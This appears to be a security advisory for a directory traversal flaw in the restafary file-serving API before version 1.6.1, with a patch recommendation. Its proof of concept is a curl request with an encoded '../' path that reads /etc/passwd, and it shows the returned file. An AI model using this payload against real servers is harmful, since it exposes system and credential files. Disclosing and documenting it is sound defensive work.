Directory Traversal

Module: restafary

Published: March 28th, 2016

Reported by: Craig Arendt

CVE-NONE

CWE-

Vulnerable: <1.6.1
Patched: >=1.6.1

Overview

  • restafary is a REpresentful State Transfer API for Creating, Reading, Using, Deleting files on a server from the web
  • restafary is able to set up a root path, which should only allow it to run inside of that root path it specified.
  • An attacker is able to provide a specifically crafted path to access files outside of this specified root path.
    • Note: this is only possible if the attacker has access to the restafary application.

Proof of Concept

curl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'


HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/plain; charset=UTF-8
Vary: Accept-Encoding
Accept-Ranges: bytes
Last-Modified: Sun Jul 12 2015 22:38:08 GMT-0700 (PDT)
Content-Length: 5581
Cache-Control: max-age=0
Date: Fri, 25 Mar 2016 17:30:29 GMT
Connection: keep-alive

##
# User Database
# 
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh

Remediation

Upgrade to restafary version 1.6.1 or greater.

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